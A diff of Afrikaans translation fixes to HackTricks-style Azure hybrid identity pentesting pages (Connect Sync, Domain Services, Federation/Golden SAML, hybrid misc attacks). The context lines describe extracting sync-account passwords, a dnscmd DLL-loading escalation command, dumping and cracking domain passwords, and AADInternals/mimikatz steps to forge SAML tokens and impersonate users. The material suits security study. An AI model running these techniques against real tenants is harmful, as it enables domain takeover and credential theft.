> - Die on-premises gebruikersrekeninge wat gesinkroniseer is en lede van hierdie wolk-gecreëerde sekuriteitsgroep is, kan van dieselfde domein of kruis-domein wees, maar hulle moet almal van dieselfde woud wees.
> - Hierdie groepe kan slegs on-premises gesinkroniseerde gebruikers en / of addisionele in die wolk geskepte sekuriteitsgroepe bevat.
> - Die on-premises gebruikersrekeninge wat gesinkroniseer is en lede van hierdie in die wolk geskepte sekuriteitsgroep is, kan van dieselfde domein of kruis-domein wees, maar hulle moet almal van dieselfde woud wees.
So die aanvaloppervlak (en nuttigheid) van hierdie diens is aansienlik verminder aangesien 'n aanvaller die aanvanklike AD van waar die gebruikers gesinkroniseer word, moet kompromitteer om 'n gebruiker in die ander domein te kompromitteer (en albei moet blykbaar in dieselfde woud wees).
@@ -150,4 +148,4 @@ az rest \
--uri "https://graph.microsoft.com/beta/onPremisesPublishingProfiles('provisioning')/agents/?\$expand=agentGroups" \
--headers "Content-Type=application/json"
```
{{#include ../../../../banners/hacktricks-training.md}}
{{#include ../../../banners/hacktricks-training.md}}

42
src/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/az-connect-sync.md
View File

@@ -1,6 +1,6 @@
# Az - Connect Sync
{{#include ../../../../banners/hacktricks-training.md}}
{{#include ../../../banners/hacktricks-training.md}}
## Basiese Inligting
@@ -16,43 +16,43 @@ Die **Connect Sync** is basies die "ou" Azure manier om **gebruikers van AD na E
az-cloud-sync.md
{{#endref}}
### Geproduseerde Beginsels
### Principals Gegenereer
- Die rekening **`MSOL_<installationID>`** word outomaties in die plaaslike AD geskep. Hierdie rekening word 'n **Directory Synchronization Accounts** rol gegee (sien [dokumentasie](https://docs.microsoft.com/en-us/azure/active-directory/users-groups-roles/directory-assign-admin-roles#directory-synchronization-accounts-permissions)) wat beteken dat dit **replicatie (DCSync) regte in die plaaslike AD** het.
- Die rekening **`MSOL_<installationID>`** word outomaties in die plaaslike AD geskep. Hierdie rekening ontvang 'n **Directory Synchronization Accounts** rol (sien [dokumentasie](https://docs.microsoft.com/en-us/azure/active-directory/users-groups-roles/directory-assign-admin-roles#directory-synchronization-accounts-permissions)) wat beteken dat dit **replicatie (DCSync) regte in die plaaslike AD** het.
- Dit beteken dat enigiemand wat hierdie rekening kompromitteer, die plaaslike domein kan kompromitteer.
- 'n Gemanageerde diensrekening **`ADSyncMSA<id>`** word in die plaaslike AD geskep sonder enige spesiale standaardregte.
- 'n Gemanagte diensrekening **`ADSyncMSA<id>`** word in die plaaslike AD geskep sonder enige spesiale standaardregte.
- In Entra ID word die Diens Prinsipaal **`ConnectSyncProvisioning_ConnectSync_<id>`** geskep met 'n sertifikaat.
## Sinchroniseer Wagwoorde
### Wagwoord Hash Sinchronisering
### Wagwoord Hash Sinchronisasie
Hierdie komponent kan ook gebruik word om **wagwoorde van AD na Entra ID te sinchroniseer** sodat gebruikers hul AD-wagwoorde kan gebruik om aan te sluit by Entra ID. Hiervoor is dit nodig om wagwoord hash sinchronisering in die Microsoft Entra Connect Sync agent wat op 'n AD-bediener geïnstalleer is, toe te laat.
Hierdie komponent kan ook gebruik word om **wagwoorde van AD na Entra ID te sinchroniseer** sodat gebruikers hul AD-wagwoorde kan gebruik om aan te sluit by Entra ID. Hiervoor is dit nodig om wagwoord hash sinchronisasie in die Microsoft Entra Connect Sync agent wat op 'n AD-bediener geïnstalleer is, toe te laat.
[From the docs:](https://learn.microsoft.com/en-us/entra/identity/hybrid/connect/whatis-phs) **Wagwoord hash sinchronisering** is een van die aanmeldmetodes wat gebruik word om 'n hibriede identiteit te bereik. **Azure AD Connect** sinchroniseer 'n hash, van die hash, van 'n gebruiker se wagwoord van 'n plaaslike Active Directory instansie na 'n wolk-gebaseerde Azure AD instansie.
[From the docs:](https://learn.microsoft.com/en-us/entra/identity/hybrid/connect/whatis-phs) **Wagwoord hash sinchronisasie** is een van die aanmeldmetodes wat gebruik word om 'n hibriede identiteit te bereik. **Azure AD Connect** sinchroniseer 'n hash, van die hash, van 'n gebruiker se wagwoord van 'n plaaslike Active Directory instansie na 'n wolk-gebaseerde Azure AD instansie.
Basies, alle **gebruikers** en 'n **hash van die wagwoord hashes** word van die plaaslike AD na Azure AD gesinchroniseer. egter, **duidelike teks wagwoorde** of die **oorspronklike** **hashes** word nie na Azure AD gestuur nie.
Die **hashes sinchronisering** vind elke **2 minute** plaas. egter, per standaard, **wagwoord vervaldatums** en **rekening** **vervaldatums** word **nie gesinchroniseer** in Azure AD nie. So, 'n gebruiker wie se **plaaslike wagwoord verval** (nie verander nie) kan voortgaan om **toegang tot Azure hulpbronne** te verkry met die ou wagwoord.
Die **hashes sinchronisasie** vind elke **2 minute** plaas. egter, per standaard, **wagwoord vervaldatums** en **rekening** **vervaldatums** word **nie gesinchroniseer** in Azure AD nie. So, 'n gebruiker wie se **plaaslike wagwoord verval** (nie verander nie) kan voortgaan om **toegang tot Azure hulpbronne** te verkry met die ou wagwoord.
Wanneer 'n plaaslike gebruiker 'n Azure hulpbron wil benader, vind die **verifikasie plaas op Azure AD**.
Wanneer 'n plaaslike gebruiker toegang wil verkry tot 'n Azure hulpbron, vind die **verifikasie plaas op Azure AD**.
> [!NOTE]
> Per standaard word gebruikers van bekende bevoorregte groepe soos Domein Administrators met die attribuut **`adminCount` tot 1 nie gesinchroniseer** met Entra ID vir veiligheidsredes nie. egter, ander gebruikers wat deel uitmaak van bevoorregte groepe sonder hierdie attribuut of wat hoë regte direk toegeken is, **kan gesinchroniseer word**.
> Per standaard word gebruikers van bekende bevoorregte groepe soos Domein Administrators met die attribuut **`adminCount` na 1 nie gesinchroniseer** met Entra ID vir veiligheidsredes. egter, ander gebruikers wat deel uitmaak van bevoorregte groepe sonder hierdie attribuut of wat hoë regte direk toegeken is, **kan gesinchroniseer word**.
### Wagwoord Skryfbak
Hierdie konfigurasie laat toe om **wagwoorde van Entra ID na AD te sinchroniseer** wanneer 'n gebruiker sy wagwoord in Entra ID verander. Let daarop dat vir die wagwoord skryfbak om te werk, die `MSOL_<id>` gebruiker wat outomaties in die AD gegenereer is, [meer regte soos aangedui in die dokumentasie](https://learn.microsoft.com/en-us/entra/identity/authentication/tutorial-enable-sspr-writeback) toegeken moet word sodat dit in staat sal wees om **die wagwoorde van enige gebruiker in die AD te verander**.
Hierdie konfigurasie laat toe om **wagwoorde van Entra ID na AD te sinchroniseer** wanneer 'n gebruiker sy wagwoord in Entra ID verander. Let daarop dat vir die wagwoord skryfbak om te werk, die `MSOL_<id>` gebruiker wat outomaties in die AD gegenereer is, meer [regte soos aangedui in die dokumentasie](https://learn.microsoft.com/en-us/entra/identity/authentication/tutorial-enable-sspr-writeback) toegeken moet word sodat dit in staat sal wees om **die wagwoorde van enige gebruiker in die AD te verander**.
Dit is veral interessant om die AD van 'n gekompromitteerde Entra ID te kompromitteer, aangesien jy in staat sal wees om die wagwoord van "byna" enige gebruiker te verander.
Dit is veral interessant om die AD van 'n gecompromitteerde Entra ID te kompromitteer, aangesien jy in staat sal wees om die wagwoord van "byna" enige gebruiker te verander.
Domein administrateurs en ander gebruikers wat aan sommige bevoorregte groepe behoort, word nie gerepliceer as die groep die **`adminCount` attribuut tot 1** het nie. Maar ander gebruikers wat hoë regte binne die AD toegeken is sonder om aan enige van daardie groepe te behoort, kan hul wagwoord verander. Byvoorbeeld:
Domein administrateurs en ander gebruikers wat aan sommige bevoorregte groepe behoort, word nie gerepliceer as die groep die **`adminCount` attribuut na 1** het nie. Maar ander gebruikers wat hoë regte binne die AD toegeken is sonder om aan een van daardie groepe te behoort, kan hul wagwoord verander. Byvoorbeeld:
- Gebruikers wat hoë regte direk toegeken is.
- Gebruikers van die **`DNSAdmins`** groep.
- Gebruikers van die groep **`Group Policy Creator Owners`** wat GPO's geskep het en dit aan OUs toegeken het, sal in staat wees om die GPO's wat hulle geskep het, te verander.
- Gebruikers van die **`Cert Publishers Group`** wat sertifikate aan Active Directory kan publiseer.
- Gebruikers van enige ander groep met hoë regte sonder die **`adminCount` attribuut tot 1**.
- Gebruikers van enige ander groep met hoë regte sonder die **`adminCount` attribuut na 1**.
## Pivoting AD --> Entra ID
@@ -83,7 +83,7 @@ az rest --url "https://graph.microsoft.com/v1.0/directory/onPremisesSynchronizat
```
### Vind die wagwoorde
Die wagwoorde van die **`MSOL_*`** gebruiker (en die **Sync\_\*** gebruiker indien geskep) is **gestoor in 'n SQL bediener** op die bediener waar **Entra ID Connect geïnstalleer is.** Administrateurs kan die wagwoorde van daardie bevoorregte gebruikers in duidelike teks onttrek.\
Die wagwoorde van die **`MSOL_*`** gebruiker (en die **Sync\_\*** gebruiker indien geskep) is **gestoor in 'n SQL-bediener** op die bediener waar **Entra ID Connect geïnstalleer is.** Administrateurs kan die wagwoorde van daardie bevoorregte gebruikers in duidelike teks onttrek.\
Die databasis is geleë in `C:\Program Files\Microsoft Azure AD Sync\Data\ADSync.mdf`.
Dit is moontlik om die konfigurasie van een van die tabelle te onttrek, waarvan een versleuteld is:
@@ -125,10 +125,10 @@ Hierdie toepassing is geskep sonder dat enige Entra ID of Azure bestuur rolle to
- `PasswordWriteback.RefreshClient.All`
- `PasswordWriteback.RegisterClientVersion.All`
Daar word genoem dat die SP van hierdie toepassing steeds gebruik kan word om sommige bevoorregte aksies uit te voer met 'n nie-dokumenteerde API, maar daar is nog geen PoC gevind nie, sover ek weet.\
Daar word genoem dat die SP van hierdie toepassing steeds gebruik kan word om sommige bevoorregte aksies uit te voer met 'n nie-dokumenteerde API, maar geen PoC is nog gevind nie, sover ek weet.\
In elk geval, om te dink dat dit moontlik mag wees, sal dit interessant wees om verder te verken hoe om die sertifikaat te vind om as hierdie dienshoof in te log en te probeer om dit te misbruik.
Hierdie [blogpos](https://posts.specterops.io/update-dumping-entra-connect-sync-credentials-4a9114734f71) is kort voor die verandering van die gebruik van die `Sync_*` gebruiker na hierdie dienshoof vrygestel, en het verduidelik dat die sertifikaat binne die bediener gestoor was en dit moontlik was om dit te vind, PoP (Bewys van Besit) daarvan te genereer en graf token, en hiermee 'n nuwe sertifikaat aan die dienshoof toe te voeg (want 'n **dienshoof** kan altyd vir homself nuwe sertifikate toeken) en dit dan gebruik om volharding as die SP te handhaaf.
Hierdie [blog pos](https://posts.specterops.io/update-dumping-entra-connect-sync-credentials-4a9114734f71) is kort voor die verandering van die gebruik van die `Sync_*` gebruiker na hierdie dienshoof vrygestel, en het verduidelik dat die sertifikaat binne die bediener gestoor was en dit moontlik was om dit te vind, PoP (Bewys van Besit) daarvan te genereer en graf token, en hiermee 'n nuwe sertifikaat aan die dienshoof toe te voeg (want 'n **dienshoof** kan altyd vir homself nuwe sertifikate toeken) en dit dan gebruik om volharding as die SP te handhaaf.
Om hierdie aksies uit te voer, is die volgende gereedskap gepubliseer: [SharpECUtils](https://github.com/hotnops/ECUtilities/tree/main/SharpECUtils).
@@ -137,7 +137,7 @@ Volgens my ervaring, is die sertifikaat nie meer gestoor op die plek waar die vo
### Misbruik van Sync\_\* [DEPRECATED]
> [!WARNING]
> Voorheen is 'n gebruiker genaamd `Sync_*` in Entra ID geskep met baie sensitiewe toestemmings toegeken, wat dit moontlik gemaak het om bevoorregte aksies uit te voer soos om die wagwoord van enige gebruiker of om 'n nuwe geloofsbrief aan 'n dienshoof toe te voeg. Vanaf Jan2025 word hierdie gebruiker egter nie meer standaard geskep nie, aangesien die Aansoek/SP **`ConnectSyncProvisioning_ConnectSync_<id>`** gebruik word. Dit mag egter steeds in sommige omgewings teenwoordig wees, so dit is die moeite werd om daarna te kyk.
> Voorheen is 'n gebruiker genaamd `Sync_*` in Entra ID geskep met baie sensitiewe toestemmings toegeken, wat dit moontlik gemaak het om bevoorregte aksies uit te voer soos om die wagwoord van enige gebruiker of om 'n nuwe geloofsbrief aan 'n dienshoof toe te voeg. Vanaf Jan2025 word hierdie gebruiker egter nie meer standaard geskep nie, aangesien die Toepassing/SP **`ConnectSyncProvisioning_ConnectSync_<id>`** nou gebruik word. Dit mag egter steeds in sommige omgewings teenwoordig wees, so dit is die moeite werd om daarna te kyk.
Deur die **`Sync_*`** rekening te kompromitteer, is dit moontlik om die **wagwoord** van enige gebruiker (insluitend Globale Administrators) te **herstel**.
```bash
@@ -177,9 +177,9 @@ Dit is ook moontlik om die wagwoord van hierdie gebruiker te dump.
> [!CAUTION]
> 'n Ander opsie sou wees om **bevoorregte toestemmings aan 'n dienshoof** toe te ken, wat die **Sync** gebruiker **toestemmings** het om te doen, en dan **daardie dienshoof** te benader as 'n manier van privesc.
### Naadlose SSO
### Seamless SSO
Dit is moontlik om Naadlose SSO met PHS te gebruik, wat kwesbaar is vir ander misbruik. Kontroleer dit in:
Dit is moontlik om Seamless SSO met PHS te gebruik, wat kwesbaar is vir ander misbruik. Kontroleer dit in:
{{#ref}}
seamless-sso.md
@@ -199,4 +199,4 @@ seamless-sso.md
- [https://www.silverfort.com/blog/exploiting-weaknesses-in-entra-id-account-synchronization-to-compromise-the-on-prem-environment/](https://www.silverfort.com/blog/exploiting-weaknesses-in-entra-id-account-synchronization-to-compromise-the-on-prem-environment/)
- [https://posts.specterops.io/update-dumping-entra-connect-sync-credentials-4a9114734f71](https://posts.specterops.io/update-dumping-entra-connect-sync-credentials-4a9114734f71)
{{#include ../../../../banners/hacktricks-training.md}}
{{#include ../../../banners/hacktricks-training.md}}

18
src/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/az-domain-services.md
View File

@@ -1,17 +1,17 @@
# Az - Microsoft Entra Domain Services
{{#include ../../../../banners/hacktricks-training.md}}
{{#include ../../../banners/hacktricks-training.md}}
## Domain Services
Microsoft Entra Domain Services stel jou in staat om 'n Active Directory in Azure te ontplooi sonder om Domain Controllers te bestuur (werklik het jy nie eens toegang tot hulle nie).
Die hoofdoel is om jou in staat te stel om ouer toepassings in die wolk te laat loop wat nie moderne verifikasiemetodes kan gebruik nie, of waar jy nie wil hê dat gidsopsoeke altyd na 'n plaaslike AD DS-omgewing moet teruggaan nie.
Die hoofdoel is om jou toe te laat om erfenis toepassings in die wolk te laat loop wat nie moderne verifikasietegnieke kan gebruik nie, of waar jy nie wil hê dat gidsopsoeke altyd na 'n plaaslike AD DS-omgewing moet teruggaan nie.
Let daarop dat om die gebruikers wat in Entra ID gegenereer is (en nie van ander aktiewe gidse gesinkroniseer is nie) na die AD-domeindiens te sinkroniseer, jy die **wagwoord van die gebruiker** na 'n nuwe een moet **verander** sodat dit met die nuwe AD gesinkroniseer kan word. Werklik, die gebruiker word nie van Microsoft Entra ID na Domain Services gesinkroniseer totdat die wagwoord verander is nie.
Let daarop dat om die gebruikers wat in Entra ID gegenereer is (en nie van ander aktiewe gidse gesinkroniseer is nie) na die AD-domeindiens te sinkroniseer, jy die **wagwoord van die gebruiker** na 'n nuwe een moet **verander** sodat dit met die nuwe AD gesinkroniseer kan word. Werklik, die gebruiker word nie van Microsoft Entra ID na Domeindienste gesinkroniseer nie totdat die wagwoord verander is.
> [!WARNING]
> Selfs as jy 'n nuwe aktiewe gidse domein skep, sal jy dit nie heeltemal kan bestuur nie (tenzij jy sommige miskonfigurasies benut), wat beteken dat jy byvoorbeeld nie gebruikers direk in die AD kan skep nie. Jy skep hulle deur **gebruikers van Entra ID te sinkroniseer.** Jy kan aandui om alle gebruikers te sinkroniseer (selfs diegene wat van ander plaaslike AD's gesinkroniseer is), slegs wolkgebruikers (gebruikers geskep in Entra ID), of selfs **hulle meer te filter**.
> Selfs as jy 'n nuwe aktiewe gidse domein skep, sal jy dit nie heeltemal kan bestuur nie (tenzij jy sommige miskonfigurasies benut), wat beteken dat jy byvoorbeeld nie gebruikers direk in die AD kan skep nie. Jy skep hulle deur **gebruikers van Entra ID te sinkroniseer.** Jy kan aandui om alle gebruikers te sinkroniseer (selfs dié wat van ander plaaslike AD's gesinkroniseer is), slegs wolkgebruikers (gebruikers geskep in Entra ID), of selfs **hulle meer te filter**.
> [!NOTE]
> In die algemeen, weens die gebrek aan buigsaamheid in die konfigurasie van die nuwe domein en die feit dat AD's gewoonlik reeds plaaslik is, is dit nie die hoofintegrasie tussen Entra ID en AD nie, maar steeds interessant om te weet hoe om dit te kompromitteer.
@@ -22,7 +22,7 @@ Lede van die gegenereerde **`AAD DC Administrators`** groep ontvang plaaslike ad
- **`Denied RODC Password Replication Group`**: Dit is 'n groep wat gebruikers en groepe spesifiseer wie se wagwoorde nie op RODCs (Read-Only Domain Controllers) gebuffer kan word nie.
- **`Group Policy Creators Owners`**: Hierdie groep stel lede in staat om Groep Beleide in die domein te skep. egter, sy lede kan nie groepbeleide op gebruikers of groepe toepas of bestaande GPO's redigeer nie, so dit is nie so interessant in hierdie omgewing nie.
- **`DnsAdmins`**: Hierdie groep stel in staat om die DNS-instellings te bestuur en is in die verlede misbruik om [regte te verhoog en die domein te kompromitteer](https://book.hacktricks.wiki/en/windows-hardening/active-directory-methodology/privileged-groups-and-token-privileges.html?highlight=dnsadmin#dnsadmins), egter na die toets van die aanval in hierdie omgewing is dit nagegaan dat die kwesbaarheid reggestel is:
- **`DnsAdmins`**: Hierdie groep stel jou in staat om die DNS-instellings te bestuur en is in die verlede misbruik om [regte te verhoog en die domein te kompromitteer](https://book.hacktricks.wiki/en/windows-hardening/active-directory-methodology/privileged-groups-and-token-privileges.html?highlight=dnsadmin#dnsadmins), egter na die toets van die aanval in hierdie omgewing is dit nagegaan dat die kwesbaarheid reggestel is:
```text
dnscmd TDW52Y80ZE26M1K.azure.training.hacktricks.xyz /config /serverlevelplugindll \\10.1.0.6\c$\Windows\Temp\adduser.dll
@@ -34,12 +34,12 @@ Let wel dat om hierdie toestemmings toe te ken, die groep **`AAD DC Administrato
Pivotering van Entra ID na 'n AD wat met Domein Dienste geskep is, is eenvoudig, voeg net 'n gebruiker by die groep **`AAD DC Administrators`**, toegang via RDP tot enige/alle masjiene in die domein en jy sal in staat wees om data te steel en ook **die domein te kompromitteer.**
Echter, pivotering van die domein na Entra ID is nie so maklik nie, aangesien niks van die domein in Entra ID gesinkroniseer word nie. Kyk egter altyd na die metadata van al die VM's wat aangesluit is, aangesien hul toegewyde bestuurde identiteite dalk interessante toestemmings het. Dump ook **alle gebruikers se wagwoorde van die domein** en probeer om dit te kraak om dan in te log in Entra ID / Azure.
Echter, pivotering van die domein na Entra ID is nie so maklik nie, aangesien niks van die domein in Entra ID gesinkroniseer word nie. Kyk egter altyd na die metadata van al die VM's wat aangesluit is, aangesien hul toegewyde bestuurde identiteite dalk interessante toestemmings kan hê. Dump ook **alle gebruikers se wagwoorde van die domein** en probeer om dit te kraak om dan in te log op Entra ID / Azure.
> [!NOTE]
> Let daarop dat daar in die verlede ander kwesbaarhede in hierdie bestuurde AD gevind is wat toegelaat het om die DC's te kompromitteer, [soos hierdie een](https://www.secureworks.com/research/azure-active-directory-domain-services-escalation-of-privilege?utm_source=chatgpt.com). 'n Aanvaller wat die DC kompromitteer, kan baie maklik volharding handhaaf sonder dat die Azure administrateurs dit opgemerk het of selfs in staat was om dit te verwyder.
> Let wel dat daar in die verlede ander kwesbaarhede in hierdie bestuurde AD gevind is wat toegelaat het om die DC's te kompromitteer, [soos hierdie een](https://www.secureworks.com/research/azure-active-directory-domain-services-escalation-of-privilege?utm_source=chatgpt.com). 'n Aanvaller wat die DC kompromitteer, kan baie maklik volharding handhaaf sonder dat die Azure administrateurs dit opgemerk het of selfs in staat is om dit te verwyder.
### Enumeration
### Enumerasie
```bash
# Get configured domain services domains (you can add more subs to check in more subscriptions)
az rest --method post \
@@ -83,4 +83,4 @@ fi
done
done <<< "$vm_list"
```
{{#include ../../../../banners/hacktricks-training.md}}
{{#include ../../../banners/hacktricks-training.md}}

16
src/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/az-federation.md
View File

@@ -1,6 +1,6 @@
# Az - Federation
{{#include ../../../../banners/hacktricks-training.md}}
{{#include ../../../banners/hacktricks-training.md}}
## Basiese Inligting
@@ -26,7 +26,7 @@ In enige federasie-opstelling is daar drie partye:
1. Aanvanklik word 'n toepassing (Diensverskaffer of SP, soos AWS-konsol of vSphere-webkliënt) deur 'n gebruiker toegang verkry. Hierdie stap kan oorgeslaan word, wat die kliënt direk na die IdP (Identiteitsverskaffer) lei, afhangende van die spesifieke implementering.
2. Vervolgens identifiseer die SP die toepaslike IdP (bv. AD FS, Okta) vir gebruiker verifikasie. Dit stel dan 'n SAML (Security Assertion Markup Language) AuthnRequest op en herlei die kliënt na die gekose IdP.
3. Die IdP neem oor, wat die gebruiker verifieer. Na verifikasie word 'n SAMLResponse deur die IdP geformuleer en aan die SP deur die gebruiker gestuur.
4. Laastens evalueer die SP die SAMLResponse. As dit suksesvol geverifieer word, wat 'n vertrouensverhouding met die IdP impliseer, word die gebruiker toegang verleen. Dit merk die voltooiing van die aanmeldproses, wat die gebruiker in staat stel om die diens te gebruik.
4. Laastens evalueer die SP die SAMLResponse. As dit suksesvol geverifieer word, wat 'n vertrouensverhouding met die IdP impliseer, word die gebruiker toegang gegee. Dit merk die voltooiing van die aanmeldproses, wat die gebruiker in staat stel om die diens te gebruik.
**As jy meer wil leer oor SAML-verifikasie en algemene aanvalle, gaan na:**
@@ -48,7 +48,7 @@ https://book.hacktricks.wiki/en/pentesting-web/saml-attacks/index.html
- In ADFS, word die SAML Response deur 'n token-ondertekeningssertifikaat onderteken.
- As die sertifikaat gecompromitteer is, is dit moontlik om as ENIGE gebruiker wat met Azure AD gesinkroniseer is, te verifieer!
- Net soos ons PTA misbruik, sal 'n wagwoordverandering vir 'n gebruiker of MFA geen effek hê nie omdat ons die verifikasieantwoord vervals.
- Die sertifikaat kan van die AD FS-bediener met DA voorregte onttrek word en kan dan vanaf enige internetverbonden masjien gebruik word.
- Die sertifikaat kan van die AD FS-bediener met DA voorregte onttrek word en kan dan van enige internetverbonden masjien gebruik word.
- Meer inligting in [https://www.cyberark.com/resources/threat-research-blog/golden-saml-newly-discovered-attack-technique-forges-authentication-to-cloud-apps](https://www.cyberark.com/resources/threat-research-blog/golden-saml-newly-discovered-attack-technique-forges-authentication-to-cloud-apps)
### Goue SAML
@@ -59,7 +59,7 @@ Die proses waar 'n **Identiteitsverskaffer (IdP)** 'n **SAMLResponse** produseer
Goue SAMLs bied sekere voordele:
- Hulle kan **afgeleë geskep** word, sonder die behoefte om deel van die domein of federasie in kwestie te wees.
- Hulle kan **afgele** word, sonder die behoefte om deel van die domein of federasie in kwestie te wees.
- Hulle bly effektief selfs met **Twee-Faktor Verifikasie (2FA)** geaktiveer.
- Die token-ondertekenings **privaat sleutel hernu nie outomaties** nie.
- **Die verandering van 'n gebruiker se wagwoord maak nie 'n reeds gegenereerde SAML ongeldig nie.**
@@ -68,7 +68,7 @@ Goue SAMLs bied sekere voordele:
[Active Directory Federation Services (AD FS)](<https://docs.microsoft.com/en-us/previous-versions/windows/server-2008/bb897402(v=msdn.10)>) is 'n Microsoft diens wat die **veilige uitruiling van identiteitsinligting** tussen vertroude besigheidsvennote (federasie) fasiliteer. Dit stel in wese 'n domeindiens in staat om gebruikersidentiteite met ander diensverskaffers binne 'n federasie te deel.
Met AWS wat die gecompromitteerde domein vertrou (in 'n federasie), kan hierdie kwesbaarheid benut word om potensieel **enige regte in die AWS-omgewing te verkry**. Die aanval vereis die **privaat sleutel wat gebruik word om die SAML-objekte te onderteken**, soortgelyk aan die behoefte aan die KRBTGT in 'n goue kaart aanval. Toegang tot die AD FS-gebruikerrekening is voldoende om hierdie privaat sleutel te verkry.
Met AWS wat die gecompromitteerde domein vertrou (in 'n federasie), kan hierdie kwesbaarheid benut word om potensieel **enige regte in die AWS-omgewing te verkry**. Die aanval vereis die **privaat sleutel wat gebruik word om die SAML-objekte te onderteken**, soortgelyk aan die behoefte aan die KRBTGT in 'n goue kaart aanval. Toegang tot die AD FS-gebruikersrekening is voldoende om hierdie privaat sleutel te verkry.
Die vereistes om 'n goue SAML-aanval uit te voer sluit in:
@@ -82,7 +82,7 @@ Die vereistes om 'n goue SAML-aanval uit te voer sluit in:
_Slegs die items in vet is verpligtend. Die ander kan na wens ingevul word._
Om die **privaat sleutel** te verkry, is toegang tot die **AD FS-gebruikerrekening** nodig. Van daar kan die privaat sleutel **uit die persoonlike winkel onttrek** word met behulp van gereedskap soos [mimikatz](https://github.com/gentilkiwi/mimikatz). Om die ander vereiste inligting te versamel, kan jy die Microsoft.Adfs.Powershell snapin soos volg gebruik, terwyl jy seker maak jy is aangemeld as die ADFS-gebruiker:
Om die **privaat sleutel** te verkry, is toegang tot die **AD FS-gebruikersrekening** nodig. Van daar kan die privaat sleutel **uit die persoonlike winkel onttrek** word met behulp van gereedskap soos [mimikatz](https://github.com/gentilkiwi/mimikatz). Om die ander vereiste inligting te versamel, kan jy die Microsoft.Adfs.Powershell snapin soos volg gebruik, terwyl jy seker maak jy is aangemeld as die ADFS-gebruiker:
```bash
# From an "AD FS" session
# After having exported the key with mimikatz
@@ -132,7 +132,7 @@ Export-AADIntADFSSigningCertificate
# Impersonate a user to to access cloud apps
Open-AADIntOffice365Portal -ImmutableID v1pOC7Pz8kaT6JWtThJKRQ== -Issuer http://deffin.com/adfs/services/trust -PfxFileName C:\users\adfsadmin\Documents\ADFSSigningCertificate.pfx -Verbose
```
Dit is ook moontlik om ImmutableID van slegs wolk gebruikers te skep en hulle na te doen.
Dit is ook moontlik om ImmutableID van slegs wolk gebruikers te skep en hulle na te boots.
```bash
# Create a realistic ImmutableID and set it for a cloud only user
[System.Convert]::ToBase64String((New-Guid).tobytearray())
@@ -149,4 +149,4 @@ Open-AADIntOffice365Portal -ImmutableID "aodilmsic30fugCUgHxsnK==" -Issuer http:
- [https://learn.microsoft.com/en-us/azure/active-directory/hybrid/whatis-fed](https://learn.microsoft.com/en-us/azure/active-directory/hybrid/whatis-fed)
- [https://www.cyberark.com/resources/threat-research-blog/golden-saml-newly-discovered-attack-technique-forges-authentication-to-cloud-apps](https://www.cyberark.com/resources/threat-research-blog/golden-saml-newly-discovered-attack-technique-forges-authentication-to-cloud-apps)
{{#include ../../../../banners/hacktricks-training.md}}
{{#include ../../../banners/hacktricks-training.md}}

8
src/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/az-hybrid-identity-misc-attacks.md
View File

@@ -1,17 +1,17 @@
# Hibrid Identiteit Verskeie Aanvalle
{{#include ../../../../banners/hacktricks-training.md}}
{{#include ../../../banners/hacktricks-training.md}}
## Dwing Sinchronisasie van Entra ID gebruikers na on-prem
Soos genoem in [https://www.youtube.com/watch?v=JEIR5oGCwdg](https://www.youtube.com/watch?v=JEIR5oGCwdg), was dit moontlik om die waarde van **`ProxyAddress`** binne 'n AD gebruiker in die on-prem AD te verander deur die e-pos van 'n Entra ID admin gebruiker by te voeg en ook te verseker dat die UPN van die gebruiker in AD en in Entra ID ooreenstem (dit is die Entra ID weer), soos **`SMTP:admin@domain.onmicrosoft.com`**. En dit sou **die sinchronisasie van hierdie gebruiker** van Entra ID na die on-prem AD dwing, so as die wagwoord van die gebruiker bekend was, kon dit gebruik word om **toegang te verkry tot die admin wat in Entra ID gebruik word.**
Soos genoem in [https://www.youtube.com/watch?v=JEIR5oGCwdg](https://www.youtube.com/watch?v=JEIR5oGCwdg), was dit moontlik om die waarde van **`ProxyAddress`** binne 'n AD gebruiker in die on-prem AD te verander deur die e-pos van 'n Entra ID admin gebruiker by te voeg en ook te verseker dat die UPN van die gebruiker in AD en in Entra ID ooreenstem (dit is weer die Entra ID), soos **`SMTP:admin@domain.onmicrosoft.com`**. En dit sou **die sinchronisasie van hierdie gebruiker** van Entra ID na die on-prem AD dwing, so as die wagwoord van die gebruiker bekend was, kon dit gebruik word om **toegang te verkry tot die admin wat in Entra ID gebruik word.**
Om 'n nuwe gebruiker van Entra ID na die on-prem AD te sinchroniseer, is die vereistes die enigste vereistes:
- Beheer die eienskappe van 'n gebruiker in die on-prem AD (of het toestemming om nuwe gebruikers te skep)
- Ken die gebruiker wat slegs in die wolk is om te sinchroniseer van Entra ID na die on-prem AD
- Jy mag ook in staat wees om die immutableID eienskap van die Entra ID gebruiker na die on-prem AD gebruiker te verander om 'n **harde ooreenstemming** te doen.
- Jy mag ook nodig hê om die immutableID eienskap van die Entra ID gebruiker na die on-prem AD gebruiker te verander om 'n **harde ooreenstemming** te doen.
> [!CAUTION]
@@ -26,4 +26,4 @@ Om 'n nuwe gebruiker van Entra ID na die on-prem AD te sinchroniseer, is die ver
- [https://activedirectorypro.com/sync-on-prem-ad-with-existing-azure-ad-users/](https://activedirectorypro.com/sync-on-prem-ad-with-existing-azure-ad-users/)
- [https://www.orbid365.be/manually-match-on-premise-ad-user-to-existing-office365-user/](https://www.orbid365.be/manually-match-on-premise-ad-user-to-existing-office365-user/)
{{#include ../../../../banners/hacktricks-training.md}}
{{#include ../../../banners/hacktricks-training.md}}

8
src/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/az-local-cloud-credentials.md
View File

@@ -10,7 +10,7 @@ Tokens en sensitiewe data word plaaslik deur Azure CLI gestoor, wat sekuriteitsk
1. **Toegangstokens**: Gestoor in platte teks binne `accessTokens.json` geleë by `C:\Users\<username>\.Azure`.
2. **Subskripsie-inligting**: `azureProfile.json`, in dieselfde gids, hou subskripsiedetails.
3. **Loglêers**: Die `ErrorRecords` gids binne `.azure` mag logs bevat met blootgestelde kredensiale, soos:
3. **Loglêers**: Die `ErrorRecords`-map binne `.azure` mag logs bevat met blootgestelde kredensiale, soos:
- Uitgevoerde opdragte met kredensiale ingebed.
- URL's wat met tokens toeganklik gemaak is, wat moontlik sensitiewe inligting onthul.
@@ -19,7 +19,7 @@ Tokens en sensitiewe data word plaaslik deur Azure CLI gestoor, wat sekuriteitsk
